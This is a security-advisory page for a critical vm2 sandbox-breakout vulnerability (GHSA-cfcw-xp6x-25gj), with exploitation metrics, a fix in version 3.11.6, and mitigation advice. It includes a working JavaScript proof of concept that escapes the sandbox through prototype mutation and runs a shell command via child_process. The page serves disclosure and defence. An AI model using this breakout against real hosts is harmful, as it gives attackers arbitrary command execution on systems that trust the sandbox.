GHSA-cfcw-xp6x-25gj — vm2
CRITICALGHSA-cfcw-xp6x-25gj is a critical-severity (CVSS 9.8) CWE-913 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cfcw-xp6x-25gj.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-cfcw-xp6x-25gj by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.6npm install vm2@3.11.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cfcw-xp6x-25gj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat has rated this vulnerability as having an Important severity because it permits an attacker to escape sandbox confinement and achieve arbitrary command execution under the privileges of the hosting application. To trigger this vulnerability, an attacker must have the ability to submit untrusted JavaScript into…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-cfcw-xp6x-25gj (CC BY 4.0)
Frequently Asked Questions
Is GHSA-cfcw-xp6x-25gj in your dependencies?
Find it across npm, including transitive dependencies.